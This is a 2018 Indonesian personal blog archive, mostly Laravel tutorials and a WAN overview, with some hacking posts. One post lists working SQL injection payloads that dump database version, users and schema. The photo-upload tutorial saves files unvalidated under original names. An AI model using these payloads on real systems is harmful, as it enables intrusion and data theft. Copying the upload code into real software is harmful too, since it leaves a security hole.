Wednesday, October 31, 2018

Cara Mudah Membuat Pop Up Form di Laravel

Cara Membuat Pop Up Form di Laravel




Pada postingan kali ini, saya akan memberitahukan kalian tentang cara membuat pop up form pada laravel. Tetapi pertama-tama kita akan membahas dulu apa itu pop up. Dalam membuat pop up, kita harus terlebih dahulu mengetahui class apa yang akan memunculkan pop up tersebut sehingga terlihat pada gambar diatas. 

Pop up artinya kita memunculkan sebuah halaman baru tanpa menutup halaman dibelakangnya. Pop up bukan pula kita membuka halaman di tab lain, tapi kita akan memunculkan pop up form ini diatas halaman yang sedang kita lihat. Dengan adanya pop up pada web kita, ini akan memberikan kesan yang elegan tersendiri pada website kita. Pada umumnya ketika seseorang akan menuliskan sebuah inputan pada form, dia akan dibukakan link yang akan menuju form yang harus diisi. Namun, tidak pada pop up. Pop up akan membutuhkan class sehingga tampilan dapat menjadi terbuka didepan layar web.

Dengan adanya pop up, website kita akan menjadi terlihat rapi dan bagus. Adapun untuk membuat pop up pada laravel sangatlah mudah. Karena, laravel telah menyediakan class untuk pop up bawaan nya. Dengan begitu kita tinggal memanggil saja class yang ada pada laravel tersebut, sehingga pop up akan jalan.

Adapun untuk membuat pop up form adalah sebagai berikut :

Pertama kalian harus mempersiapkan syntax ini terlebih dahulu pada syntax kalian. 

PENTING >> Form yang akan di pop up harus satu file dengan index, jika mau dipisah silahkan gunakan fungsi Include.

Syntax yang pertama..


Syntax diatas, letakkan sebelum tag <form> yang akan di pop up. Pada bagian id="terserah" itu adalah penamaan saja, silahkan lakukan penamaan untuk  membedakan dengan pop up yang lain. Kemudian pada modal-tittle itu, tambahkan judul untuk pop up kalian agar dapat terlihat pada saat pop up nya nanti.

Syntax berikutnya..


Tambahkan </div> satu lagi sebelum modal-footer, saya terlewat satu div. Syntax diatas letakkan pada tutup tag </form>. Tutup disana adalah nama dari button yang akan menutup jendela pop up. Dan yang terakhir dan paling penting adalah syntax untuk memanggil pop up nya yaitu

Syntax terakhir...


Ini adalah button untuk memanggil class pop up nya. Yang terpenting adalah bagian data-target, harus disesuaikan dengan id pada syntax pertama sehingga pop up dapat memanggil class yang ada, dan pop up dapat muncul pada website anda.

Itulah tadi cara mudah membuat pop up form pada laravel.. Silahkan komentar yang sopan, untuk bertanya jika ada  masalah.

#SyntaxError

Monday, October 29, 2018

Cara Upload Foto di Laravel dan Menampilkannya dari Database

Cara Upload Foto di Laravel dan Menampilkannya




Pada postingan kali ini saya akan mendokumentasikan tentang cara upload foto di laravel dan menampilkannya dari database. Mengupload sebuah foto pada laravel sebenarnya gampang-gampang susah, karena kita harus sedikit membedakan syntax nya dengan inputan yang lain. Pada postingan ini akan diberitahu bagaimana cara foto itu mulai di upload, tetapi sebelumnya ada folder untuk menampung foto tersebut. Kemudian kita juga akan menampilkan foto yang sudah di upload tadi dengan memanggil dari database nya.

Hal yang pertama harus kita persiapkan sebelum belajar cara upload foto di laravel adalah menyiapkan folder untuk foto itu ditampung nantinya. Folder untuk menampung foto tersebut diletakkan pada folder Public dengan nama bisa disesuaikan. Pada kesempatan ini, saya akan mencontohkan dengan nama folder foto.

PENTING >> Pastikan nama folder tidak ada yang tabrakan/sama.

Setelah selesai membuat folder foto nya, selanjutnya kita akan mengedit bagian inputan nya dengan syntax sebagai berikut.


Pastikan type pada input berupa file, sehingga nanti kita bisa memillih foto mana yang akan kita upload. Pastikan juga attribut name pada tag input, sesuai dengan yang di database kalian sehingga foto tersimpan kedalam database.

Jika sudah dibuat seperti itu, langkah selanjutnya adalah kita masuk pada controller dan pada fungsi save data masukkan perintah berikut untuk save foto dari request inputnya.


Nah, itu adalah syntax pada controller untuk menyimpan foto. Syntax hasFile('foto') disana adalah pengecekan pada inputan apakan ada request yang masuk berupa name="foto". Setelah itu kita deklarasikan folder foto yang kita buat tadi dalam sebuah varible $dest. Kemudian file('foto') adalah untuk mengecek request foto yang diinput, setelah itu, dipindah ke variable $dest yang isinya folder foto dengan membawa nama asli dari foto yang diupload.

Setelah itu kita akan menampilkan fotonya pada index.blade.php. Cara nya berbeda dengan pemanggilan data pada umumnya. Kita akan memanggil foto tersebut dari folder foto yang kita upload di folder public tadi, perintah nya adalah sebagai berikut.


Didalam tag <td> kita memasukkan tag <img> untuk memanggil source foto nya. foto/ disana merupaka sebuah folder yang kita buat tadi sedangkan $sing->foto adalah pemanggilan dari database sesuai foto yang akan ditampilkan. 

Itulah tadi cara upload foto di laravel dan menampilkannya dari database, semoga bermanfaat.

#SyntaxError

Saturday, October 27, 2018

Relasi Table One To Many di Laravel 5.2

Relasi One To Many di Laravel 5.2


Yaak, Pada postingan kali ini admin akan mendokumentasikan apa yang sudah saya tulis yaitu relasi table One To Many di laravel 5.2 . Kenapa dilaravel 5.2 ? males update karena php admin support versi itu. Baik, kita akan bahas apa itu One to Many relation. Sesuai dengan namanya, One to Many relasi merupakan relasi antara kedua table dimana salah satu data pada table 1 dapat memiliki data pada table 2. Bingung ?? Jadi begini.. 
Misalkan saya punya table Genre dan tabel Penyanyi, nahh kalau kita membaca logika 1 penyanyi pasti memiliki satu genre saja kan ? Tetapi 1 Genre bisa dimiliki oleh banyak penyanyi. Masih belom paham ? Okee.. 

Anda tau Rhoma Irama, seorang musisi yang dijuluki raja dangdut. Nah, sudah ketahuan bahwa dia hanya memiliki satu Genre yaitu dangdut. Tetapi, apakah genre dangdut cuma dipakai oleh Rhoma irama ? tidak, ayu ting ting, inul daratista dan penyanyi lain bergenre dangdut. Nah kira-kira begitu lah relasi One to Many yang akan kita bahas.

Bagaimana Cara membuat relasi One To Many ?

PENTING >> Pada sebuah table terdapat field yang memiliki foreign key, sehingga dia membutuhkan induk sehingga bisa foreign key nya terbaca. Artinya kita buat table yang tidak memiliki foreign key nya terlebih dahulu.

Pada kasus ini saya akan mencontohkan 2 table yaitu Table Genre dan Table Singer.

Langkah pertama, kita akan membuat migration tabe Genre terlebih dahulu seperti ini.
Kemudian saya membuat table migration untuk table Singer. 


Ya, dari field table nya saja kita sudah bisa baca bahwa didalam table Singers, terdapat field genres_id yaitu Foreign_key kepada table Genres.

PENTING >> Pembuatan table pada laravel, harus menggunakan huruf S pada ujung kata. Ini karena laravel akan membaca data table secara seluruh. Jika tidak pakai S , maka akan terjadi error pada saat pemanggilan table nya nanti. Jika tak percaya silahkan buktikan sendiri.

Selanjutnya, setelah migrasi sudah diatur dan field sudah siap, maka lakukan perintah php artisan migrate pada cmd. Kemudian kita akan membuat model dari table kita tadi, dengan perintah php artisan make:model namanya. Pada kasus ini saya contohkan akan membuat dua bua model yaitu model Genres dan model Singers.

Selanjutnya buka pada model Genres, lalu tambahkan fungsi singer untuk relasi dengan model singer. Pada model Genres tambahkan fungsi singer lalu ketikkan perintah return $this->hasMany ('App\Singers');



Kemudian pada model Singers, tambahkan fungsi genre untuk melakukan relasi fungsi dengan model Genres. Pada model Singers ini ketikkan perintah return $this->belongsTo( 'App\Genres','genres_id');



Pada model Singers ini kita menggunakan function genre untuk mendeklasikan field genres_id sebagai foreign_key yang mengarah ke model Genres. 

Pada Controller
$singers = Singers::all();
return view ( ' ', compact('singers')); 

Pada View
@foreach ($singers as $singer)
....
@endforeach
 
Untuk menampilkan nilainya cukup mudah, misalkan kita memiliki variable $Singer dan kita akan menampilkan genre dari Singer itu cukup keluarkan seperti ini {{$singer->genre->nama}}. $singer ->genre disana, artinya model singer akan mengeksekusi function genre yang ada pada model singer tadi. Sehingga ketika $singer->genre->nama, akan menampilkan nama dari genre sesuai dengan singernya.


#SyntaxError

Apa itu SQL Injection dan Cara Melakukannya

Apa itu SQL Injection dan Cara Melakukannya


Pada postingan kali ini saya akan membahas mengenai SQL injection. Saya baru pertama kali tau dan belajar apa itu SQL injection dan melakukannya. Kemarin saya baru saja melakukan simulasi SQL injection pada sebuah database yang telah disiapkan. Dengan settingan security yang low melakukan SQL injection menjadi sangat mudah. Sebelum membahas bagaimana cara melakukan SQL injection, kita akan mengenal terlbih dahulu apa itu SQL Injection.
SQL Injection adalah sebuah teknik yang melakukan serangan pada database melalui celah kemanan database tersebut. Pengertian diatas dapat kita uraikan bahwa teknik ini merupakan serangan yang menargetkan pada database. Dengan melakukan serangan terhadap database target, semua informasi menjadi terlihat sehingga hacker dapat mengambil alih sebuah sistem. Dengan begitu, sistem yang akan diambil alih oleh hacker dapat dengan mudah di salah gunakan oleh hacker.

Ada beberapa alasan kenapa SQL Injection ini bisa terjadi, yaitu :
  1. Karakter-karakter pelolos yang tidak disaring dengan benar, bisa kita bilang sebuah validasi masukkan. Jika sebuah sistem tidak memiliki validasi inputan yang benar, maka hacker dapat melakukan query injection pada masukkan sehingga diproses ke dalam database. Pernyataan tersebut dapat diproses pada aplikasi pengguna atau pengguna akhir, sehingga menyebabkan kesalah keluaran yang ditampilkan. Keluaran yang akan ditampilkan bukan yang harusnya dikeluarkan, seperti contoh password.
  2. Penanganan tipe yang tidak benar, dapat menyebabkan injeksi terjadi. Pada sebuah masukkan harusanya diberi batasan-batasan tyope masukkan yang akan diproses. Hal ini bertujuan untuk memberikan keamanan pada masukkan agar tidak terjadi adanya masukkan yang tidak dikenali type datanya.
  3. Celah keamanan dalam server basis data,  menjadi faktor utama SQL injection terjadi. Celah pada server dapat dengan mudah ditembus oleh hacker dengan injection. Ini merupakan hal yang harus kita perhatikan untuk kemanan pada sebuah server. Semakin tinggi tingkat keamanan server, semakin kecil kemungkin Injection dilakukan.
Adapun cara untuk melakukan SQL Injection adalah sebagai berikut:

%' or '0'='0 ==> Perintah ini adalah untuk menampilakan semua data yang da pada database.
%' or 0=0 union select null,version()# ==> Perintah ini untuk mengetahui Versi database dari target.
%' or 0=0 union select null, user()# ==> Perintah ini adalah untuk meampilkan database user.
%' or 0=0 union select null, database()# ==> Perintah diatas untuk mengetahui nama database.
%' and 1=0 union select null, table_name from information_schema.tables# ==> Menampilkan semua informasi Nama table.
%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'# ==> Menampilkan semua tables user schema.
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users'# ==> Menampilkan Field Content


Itulah tadi menegani SQL Injection dan cara melakukannya, intinya untuk menghindari dari serangan injection, kita harus memperketat keamanan database. Banyak cara yang dapat kita lakukan untuk mengamankan databse kita, hal ini untuk menjaga kerahasiaan data yang tersimpan di database. Hal-hal yang kurang berkenan dalam teknik hacking ini dapat kita atasi jika kta tau penyebab-penyebab nya dan prose terjadinya.

#SalamHacking

Wednesday, October 24, 2018

Fungsi Create, Update dan Delete di Laravel

Fungsi Create, Update dan Delete di Laravel

Pada postingan sebelumnya saya sudah memposting tentang membuat migrasi table, model dan controller. Selanjutnya saya akan membuat fungsi create, update dan delete di laravel. Untuk fungsi Read nya sudah saya jelaskan pada postingan saya sebelumnya. Silahkan baca artikel ini jika belum untuk melanjutkan create, update dan delete.

BACA DULU >> Teknik Cuma 5 Menit bisa CRUD di laravel

Selanjutnya kita akan membahas tentang bagaimana cara create, update dan delete dilaravel. Kita akan mulai dari create terlebih dahulu. Create bisa dibilang kita membuat sebuah data yang baru untuk table kita. Untuk itu kita membutuhkan form yang mana bisa memudahkan kita untuk pengisian data.

Fungsi CREATE

Pertama kita harus memiliki route nya terlebih dahulu. Untuk itu, kita akan menyiapkan 2 route custom untuk fungsi create ini. Pertama adalah Route::get, fungsinya adalah untuk melemparkan kita ada form inputnya. Jadi, ketika kita klik tombol tambah/add maka kita akan dialihkan pada form input. Siapkan route nya seperti ini. Kedua adalah Route::post, fungsinya adalah untuk melemparkan kita pada route controller store yang bertugas untuk menyimpan data. Intinya ketika kita selesai menginputkan data dan kita klik submit/kirim, maka data akan tersimpan.


Setelah route sudah disiapkan, maka kita akan membuat tombol link ke route nya, yaitu <a href="/relawan/create"> Tambah Data </a> . Ketika klik tombol Tambah data, maka kita akan diarahkan pada controller yang fungsinya create. Untuk itu kita akan mengatur pada controller fungsi create nya.


Untuk fungsi create kali ini, saya cuma aka meneruskan ke file form kita yaitu dengan nama create sedangkan Relawan itu adalah folder yang dibuat pada view, dan saya memasukkan file create tersebut pada folder Relawan untuk memudahkan managemen file.

Selanjutnya kita akan bermain dengan formnya. Buatlah seperti form pada umunya, namun pada tag <form> tambahkan attribut seperti ini <form action="/relawan/post" method="post" enctype="multipart/form-data". Fungsinya adalah untuk mengarahkan kita pada route post yang mana sudah siap fungsi untuk menyimpan datanya. JANGAN LUPA untuk tambahkan {{csrf_field()}} dibawah tag <form> atau sebelum tag </form>. Fungsinya adalah token untuk mengengkripsi data kita supaya lebih aman pada saat pengiriman data.

Selanjutnya kita akan mengatur pada controller untuk fungsi simpan data nya. Ketikkan seperti gambar berikut 


Pada bagian $relawan->nama adalah untuk memasukan field nama yang ada di database, sedangkan $request->nama adalah isi yang akan kita masukkan ke database sesuai yang kita isikan pada form tadi. Redirect adalah ketika fungsi sudah di save maka browser akan merefresh kita pada route relawan yaitu menampilkan data table.

Fungsi UPDATE

Fungsi update di laravel hampir sama dengan create hanya saja yang membedakan adalah method untuk menyimpan adalah POST sedangkan update adalah PUT. Untuk itu seperti sebelumnya siapkan route dan tombol untuk Update nya. Kemudian pada controller kita akan akan punya 2 fungsi yaitu edit dan update. Edit untuk memilih id yang kita klik dari database yang kemudian disiapkan untuk di update untuk itu buat fungsi edit seperti ini.


Kemudian kita telah menyiapkan form sebelumnya, copy saja buat dengan nama file baru yaitu update. Jangan lupa untuk tag <input> pada formnya tambah attribut value="{{$relawan->nama}}". Disesuakan pada inputan yang akan di update. Karena form tidak mendukung method PUT maka kita akan tambahakan sendiri <input type="hidden" name="_method" value="PUT"> pada bawah tag <form> atau sebelum </form> ini sangat penting untuk proses update karena ini lah method yang digunakan.

Pada bagian fungsi updatenya  di controller, copy kan saja fungsi dari Store yang diatas tapi tambahkan sedikit seperti ini, $id yang akan kita update.


Selanjutnya, kalau di store tadi adalah new Relawans, pada update ubah dengan Relawan::find($id), fungsinya adalah untuk mengubaha data sesuai yang kita pilih.



Fungsi DELETE

Fungsi delete yang sederhana sebenarnya sangat mudah daripada fungsi yang lain. Logika nya kita tingaal pilih data yang akan di delete kemudian langsung jalankan perintah hapus. Seperti sebelumnya siapkan dulu link tombol untuk menuju ke route delete nya. Fungsi delete ini kita akan menggunakan method get terlebih dahulu. Sebenarnya delete ada method nya sendiri yaitu method=DELETE bisa digunakan jika kita akan melakukan konfirmasi penghapusan. Kali ini kita akan langsung menghapus data nya. Mungkin postingan selanjutnya saya akan psoting tentang konfirmasi delete. Lanjutt, pada controller cukup ketikkan perintah seperti ini.


Selesai fungsi delete, maka selesai  juga CRUD kita. Selamat kamu telah bisa CRUD, mudah bukan ? sulit diawal memang , namun jika sudah terbiasa kita akan membuatnya kurang lebih 5 menit.



#SyntaxError

Tuesday, October 23, 2018

Cuma 5 Menit Bisa CRUD di Laravel

Cara CRUD sederhana di laravel 


Pada postingan kali ini saya akan membahas tentang bagaimana cara CRUD sederhana di laravel, atau tutorial CRUD yang sederhana di laravel. Sebelumnya saya telah memposting beberapa artikel terkain tentang laravel mulai dari Install dan memasang template. Selanjutnya, ialah kita akan bermain data pada laravel. CRUD adalah singkatan dari Create, Read, Update dan Delete. Kita bisa melakukan pengolahan data secara penuh apabila kita dapat memiliki hak akses CRUD. Dalam database proses CRUD harus menjadi hal wajib yang dilakukan oleh administrator sehingga proses pengolahan data menjadi efektif. Untuk itu kita perlu belajar bagaimana cara CRUD dasar pada laravel.

Proses CRUD yang harus kita persiapkan pertama kali adalah data nya. Untuk itu kita harus membuat sebuah table terlebih dahulu untuk menampung data-datanya tersebut. Dalam laravel untuk membuat sebuah table sudah dipermudah dengan fitur Migration. Untuk membuat nya, ketikkan perintah pada cmd php artisan make:migration namanya. File akan tersimpan di folder database/migration. 


Ketikkan function up dan function down seperti pada gambar diatas untuk membuat (up) dan merollback (down) table. Jika telah disesuaikan pembuatannya, maka langkah selanjutnya adalah melakukan migrasi ke database nya. Ketikkan perintah php artisan migrate  pada cmd untuk melakukan migrasi. Jika sudah silahkan cek di databasenya. Table yang dimigrasi tidak hanya yang dibuat tetapi ada table bawaan laravel yang juga dimigrasi, jangan dihapus.

Setelah membuat table , langkah selanjutnya adalah membuat model. Model ini berguna pada saat proses pada controller. Salah satu kelebihan laravel daripada framework lain ialah model ini, sehingga kita tidak perlu menulis query lagi untuk melakukan pemanggilan dari database. Ketikkan perintah php artisan make:model namanya. Untuk nama model disini harus disesuaikan dengan nama table yang akan dibuatkan model, sehingga penggunaan query nya tepat. 


Selanjutnya adalah membuat controller. Controller ini fungsinya untuk mengurusi proses antara database dan tampilannya. Kunci ada ada di controller ini. Untuk membuat controller cukup ketikkan perintah php artisan make:controller namanya. File akan tersimpan di folder App/http/controller. Gunakan model yang sudah kita buat tadi pada bagian atas file controller, seperti gambar dibawah.


Setelah itu kita akan mengkustom route nya terlebih dahulu, gunakan route custom seperti berikut untuk memudahkan proses pembacaan kita. Route ini nantinya yang akan terbaca pada URL.


Jika sudah kita akan masuk lagi pada bagian controller. Pada bagian controller kita akan buat fungsi READ terlebih dahulu. Untuk membuat fungsi read sangatlah mudah, kita tinggal menggunakan model yang sudah kita gunakan tadi dan panggil fungsi all(); untuk melakukan pemanggilan semua data yang ada pada tabel yang dibuat. Selanjutnya akan kita simpan sementara pada sebuah variable yang nantinya akan kita kirim pada file view nya untuk ditampilkan. Ketikkan seperti pada gambar dibawah in.


Setelah itu kita harus siapkan file index.blade.php nya pada folder resources/views. Setelah dibuat kita akan keluarkan data yang sudah diproses pada controller tadi dengan perintah foreach. Perintah foreach ini digunakan untuk pengeluaran nilai data array sehingga semua data bisa terbaca. Untuk itu ketikkan perintah @foreach ($Relawan as $rel). Variable yang dibuat dari controller tadi dengan nama Relawan kita ekstrak dengan nama variable yang baru, sehingga untuk pemanggilannya data nya nanti akan seperti ini {{$rel->nama}},  perintah ini adalah untuk memanggil data pada kolom nama. Jangan lupa untuk menutup pada akhir sytax nya dengan @endforeach. Selesai untuk fungsi read nya. Mudah bukan ?

Untuk fungsi Create, Update dan Delete nya bisa kalian lihat artikel dibawah ini.



Itulah tadi cara melakukan CRUD pada laravel yang sederahana, mudah mudahan dapat mendapat wawasan ilmu. Silahkan Komentar yang relevan dan sopan apabila ada pertanyaan.

#SyntaxError

Konsep sebuah WAN ( WAN CONCEPT )

Apa itu WAN ?


Konsep WAN

WAN adalah singkatan dari Wide-area Network yangdigunakan untuk menghubungkan LAN jarak jauh. WAN dapat mencakup kota, negara, atau wilayah global. WAN dimiliki oleh penyedia layanan dan bisnis memebayar biaya untuk menggunakan layanan penyedia jaringan WAN. Teknologi yangberbeda digunakan untuk WAN daripada untuk LAN, postingan ini akan memperkenalkan standar, teknologi dan tujuan pada konsep WAN. Konsep WAN ini mencakup pemilihan teknologi, layanan dan perangkat WAN yang tepat untuk memenuhi persyaratan bisnis yang berubah dari perusahaan yang sedang berkembang.

Mengapa harus menggunakan WAN ?

WAN beroperasi di luar lingkup geografis LAN, seperti yang disebutkan di atas bahwa WAN digunakan untuk menghubungkan LAN perusahaan ke LAN jarak jauh di situs cabang dan situs telecommuter. WAN dimiliki oleh penyedia layanan. Organisasi harus membayar biaya untuk menggunakan layanan jaringan penyedia untuk menghubungkan situs jarak jauh. Penyedia WAN termasuk operator, seperti jaringan telepon, perusahaan kabel, atau satelit. Penyedia layanan menyediakan tautan untuk menghubungkan situs jarak jauh dengan tujuan mengangkut data, suara dan video. Sebaliknya LAN biasanya dimiliki oleh organisasi dan digunakan untuk menghubungkan komputer lokal, periferal dan perangkat lain dalam satu gedung atau area geografis kecil lainnya.

Topologi WAN

Topologi WAN umumnya sebagai berikut:
1. Point to point


Biasanya melibatkan koneksi leased-line khusus seperti jalur TI/Ei, koneksi point-to-point melibatkan layanan transport layer 2 melalui jaringan penyedia layanan. Paket yang dikirim dari situs dikirimkan ke situs lain dan sebaliknya. Koneksi point-to-point transparan ke jaringan pelanggan, seolah-olah ada hubungan fisik langsung antara dua titik akhir.

2. Hub and Spoke


Topologi hub-and-spoke juga merupakan contoh topologi tunggal. Gambar diatas menampilkan topologi hub-and-spoke sampel yang terdiri dari empat router dengan satu router sebagai hub yang terhubung ke tiga router bebicara lainnya di seluruh cloud WAN. Dengan topologi hub and spoke satu antarmuka ke hub dapat digunakan bersama oleh semua sirkuit bicara. Sebagai Contoh, situs berbicara dapat terhubung melalui situs hub menggunakan sirkuit virtual dan subinterfaces dirutekan di hub.

3. Full Mesh


Salah satu kerugian dari topologi hub dan spoke adalah bahwa semua komunikasi harus melalui hub. dengan topologi full mesh menggunakan sirkuit virtual, situs apapun dapat berkomunikasi secara langsung dengan situs lain. Kerugian disini adalah sejumlah besar sirkuit virtual yang perlu dikonfigurasi dan dipelihara.

4. Dual-Homed


Sebuah topologi dual-homed menyediakan redundansi seperti yang terlihat pada gambar diatas, dua router hub memiliki dua tempat dan terhubung secara berlebihan ke tiga router yang berbicara melalui cloud WAN. Kerugian dari topologi dual-homed adalah bahwa mereka lebih mahal untuk diterapkan daripada topologi single-homed. Topologi dual homed juga lebih sulit untuk diterapkan karena membutuhkan konfigurasi tambahan, dan lebih kompleks. Namun, keuntungan dari topologi dual homed adalah bahwa mereka menawarkan peningkatan redudansi jaringan, load balancing, komputerisasi atau pemrosesan terdistribusi, dan kemampuan utnuk mengimplementasikan koneksi penyedia layanan cadangan.

 Standar akses WAN didefinisikan dan dikelola oleh sejumlah otoritas yang diakui:
  • Asosiasi Industri Telekomunikasi dan Aliansi Industri Elektronik (TIA/EIA)
  • Organisasi Internasional untuk standarisasi (ISO)
  • Institut of Electrical and Electronics engginees (IEEF)
Lapisan fisik WAN menggambarkan lapisan fisik antara jaringan perusahaan dan jaringan penyedia layanan. Angka tersebut menggambarkan terminologi yang biasa digunakan untuk menggambarkan koneksi WAN.

Peralatan tempat pelanggan (CPE)- CPE terdiri dari perangkat dan di dalam kabel yang terletak di tepi yang terhubung ke tautan operator. Pelanggan memiliki CPE atau menyewa CPE dari penyedia layanan. Pelanggan dalam konteks ini, adalah perusahaan yang mengatur layanan WAN dari penyedia layanan.

Ada dua cara agar perusahaan bisa mendapatkan akses WAN:
  1. Infrastruktur WAN pribadi - Penyedia layanan dapat menawarkan dedicated leased lines point-to-point, circuit-switched links, seperti PSTN atau ISDN, dan link packet swithed, seperti ethernet WAN, ATM atau frame relay.
  2. Infrastruktur WAN public - Penyedia layanan dapat menawarkan akses internet broadband menggunakan digital subsciber line (DSL), kabel, dan akses satelit. Opsi koneksi broadband biasanya digunakan untuk menghubungkan kantor kecil dan karyawan telecommuter kesitus perusahaan melalui internet. Data perjalanan antar situs perusahaan melalui infrastruktur WAN publik harus dilindungi menggunakan VPN.
Kesimpulan
 
Sebuah bisnis dapat menggunakan jalur pribadi atau infratruktur jaringan publik untuk koneksi WAN. Koneksi infrastruktur publik dapat menjadi alternatif yang hemat biaya untuk koneksi pribadi antar LAN, selama keamanan juga direncanakan. Standar Akses WAN beroperasi pada layer 1 dan 2 dari model OSI, dan didefinisikan dan dikelola oleh TIA/EIA, ISO dan IEEE. WAN dapat berupa circuit switched atau packet-switched. Ada terminologi umum yang digunakan untuk mengidentifikasi komponen fisik koneksi WAN dan siapa penyedia layanan atau pelanggan, bertanggung jawab untuk komponen mana.

Monday, October 22, 2018

Cara Terbaru Hack Akun Instagram Orang Lain 2018



Cara Terbaru Hack Akun Instagram Orang Lain

Pada postingan kali ini saya akan membahas tentang hack akun instagram orang lain. Dari judulnya saja kita bisa melihat bahwa kalian yang berada pada artikel ini sedang ingin melakukan hacking terhadap akun instagram milik orang lain. Pernah kah kalian berfikir jika saja yang menjadi korban itu adalah diri kalian sendiri atau akun kalian sendiri. Langkah apa saja yang akan kalian lakukan untuk mengatasi hack akun instagram ini ?
Pada pembahasan kali ini, saya akan bercerita tentang pengalaman saya meng hack akun instagram orang lain. Akun instagram orang ini merupakan akun teman saya sendiri tetapi dia sering login-login menggunakan hape saya. Namanya sebut saja "Korban", dia ini awalnya mempunyai sebuah akun baru untuk sebuah instagram baru yaitu sebuah grup. Saya ingatkan terlebih dahulu, hacking merupakan tindak kejahatan jika kita tidak menempatkan pada posisi yang salah. Ada pasal yang menegaskan bahwa tindakan semacam ini akan dikenakan sanksi berat jika pelaku memberikan dapak negatif untuk si korban. Namun, kadang korban tidak sigap dalam menggapi masalah hacking ini, terutama pada hack akun instagram.

Cara terbaru untuk hack akun instagram orang lain sebenarnya sangatlah mudah, hanya saja kita terkadang salah menggunakan teknik ini yang nantinya dapat berdampak buruk pada si korban maupun anda sendiri. Jika kalian tetap ingin nekat meng hack akun instagram orang lain, saya akan lanjutkan cerita saya diatas.

Awalnya dia sudah membuat akun instagramnya tersebut melalui handphone nya sendiri, entah kenapa dia suatu hari ingin pinjam handphone saya untuk membuka instagram. Saya tanya ke dia kenapa dia tidak pakai hp nya ternyata dia sedang tidak ada kuota. Kasihan mendengar alasanya tersebut hati nurani saya berkata untuk meminjamkan nya sebentar. Setelah tidak lama kemudian, sekitar 15 menit atau 10 dia kembalikan handphone saya. Malam hari, adalah waktu saya untuk social messagging. Biasanya saya buka instgaram untuk melihat-lihat info terkini dunia maya. Namun, dihari tersebut saya merasakan keanehan pada instagram saya. Timeline saya adalah foto-foto orang yang tidak saya kenal, dan banyak sekali endorse-endorse yang menurut saya itu adalah spam. Kecurigaan saya menjadi-jadi hingga akhir nya saya cek profil untuk instagram saya. Ternyata aku instagram yang masih saya buka adalah milik teman saya tadi

KOK BISA ??

Awalnya saya heran dan bertanya-tanya, mana mungkin dia lupa untuk keluar dari akun instagramnya. kemudian saya tanya dan ternyata dia memang sudah mengeluarkannya, artinya dia tidak lupa. Rasa penasaran saya menjadi tinggi hingga akhirnya saya cek menu pengaturan dan ternyata yang menjadi penyebabnya adalah info login nya dalam posisi ON




Hacking dengan niat yang jahat tidak akan menimbulkan manfaat bagi anda, melainkan berdampak buruk bagi si korban. Jika kalian setelah melihat artikel ini masih mencari artikel lain untuk melanjutkan niat anda, maka ada yang salah dengan hati anda. Jadikan sebagai pelajaran dari apa yang kalian baca diatas, bahwa untuk mengambil hak orang lain itu merupakan suatu perbuatan yang tercela.

"Luruskan Niat. Tebarkan Manfaat"

#SalamHacking


Sunday, October 21, 2018

Cara Mudah Memasukkan Template di Laravel

Cara Mudah Memasukkan Template di Laravel


Baca Dulu >> Cara Install Laravel dengan Mudah dan Cepat

Baik.. Pada postingan kali ini saya akan membahasa bagaimana cara mudah memasukkan template di laravel. Sebenarnya untuk memasukan template pada laravel itu sama halnya seperti memasukkan template pada umumnya. Namun, mungkin memang ada yang berbeda sedikit dalam memasukkan template di laravel ini, yaitu pada saat pemanggilan <link href>.. nya. 

Sebelum memasukkan template di laravel, pertama kita siapkan terlebih dahulu template nya. Kalian bisa cari sendiri template sesuai dengan selera kalian masing-masing. Ketika kira akan memasukkan template di laravel ini, cara yang paling mudah adalh dengan mengcopy semua folder css, js dan lainnya.
Baik.. langsung saja kita akan mempraktekkan cara mudah memasukkan template di laravel. Setelah mendowload template yang akan dimasukkan, pindahkan terlebih dahulu template yang baru di download tadi ke dalam folder htdocs untuk memudahkan kita dalam pengecekan kebutuhan template. Maksud kebutuhan disini ialah, tidak semua content yang ada ditemplate itu kita gunakan, artinya kita akan memilih content apa saja nantinya yang akan kita pakai. Oleh karena itu, template tadi kita pindahkan dlu ke folder htdocs.

1. Pindahkan template ke folder /htdocs


2. Buka foldernya templatenya, kemudian pindahkan semua folder ini atau cukup copy saja kedalam project laravel kalian.
3. Letakkan atau paste folder-folder tadi ke folder laravel bagian public. Kalian bisa membuat folder baru lagi di dalam folder public untuk memudahkan agar tidak acakan.


4. Ketika sudah dipindahkan artinya kita sudah siap menggunakan bootstrap templatenya tinggal kita sesuaikan pada halamnnya saja. Caranya adalah pilih halaman index.html punya si template itu kemudian edit menjadi index.blade.php. Letakkan pada folder resources > views > layout, jika folder layout belum ada tambahkan saja.

5. Langkah selanjutnya adalah mengubah cara pemanggilan bootstrapnya. Lakukan seperti ini


Jika pada biasanya penulisan link href nya seperti ini <link href="/css/style.css" rel="stylesheet">  maka pada project laravel ubah menjadi seperti gambar diatas. Asset disitu merupakan sebuah fungsi laravel dimana dia akan mengambil data atau membaca data dari folder public tadi.

Nahh, setelah berhasil mengubah tag <link> periksa template yang telah dimasukkan tadi tentunya dengan menggunakan teknik templating untuk pemanggilan contentnya. Berikut untuk sistem templating pada laravel.

Pertama yang harus dilakukan adalah mencari bagian content pada index, dan hapus semua syntax nya.

 
Cari untuk kodenya kemudian hapus semua, kemudian ganti dengan @yield('content'). Fungsinya ialah file ini akan menjadi layout untuk file lain sehingga file yang lain nanti tinggal menuliskan syntax content nya saja. Untuk menggunakan template nya, pada file contentnya nanti ketikkan perintah berikut untuk menggunakan layout yang barusan di edit. 


Selesai sudah cara memasukkan template pada laravel. Jika kalian pikir ini susah artinya kalian hanya belum terbiasa saja, jika sudah biasa nanti kalian juga akan berpikir ini sangat mudah, sehingga kalian ingin orang lain bisa melakukannya juga. 

Jika ada pertanyaan silahkan komentar yang sopan, Insya allah saya bantu...

#SyntaxError

Friday, October 19, 2018

Cara Mudah Hack Wifi Password di Kali Linux

Cara Mudah Hack Wifi Password di Kali Linux


Pada Postingan kali ini, kita akan belajar cara mudah hack wifi password pada kali linux. Kenapa harus di kali linux ? Sebenarnya hacking bisa dilakukan pada OS apa saja, namun kebanyak para hacker menggunakan kali linux karena tool hackingnya sudah lengkap dan siap di jalankan. Begitu pula untuk hack password, ada cara mudah nya yaitu kita tinggal jalankan application dari bawaan OS kali linuxnya. Nama tool untuk hack wifi password di kali linux ini adalah Aircrack-ng

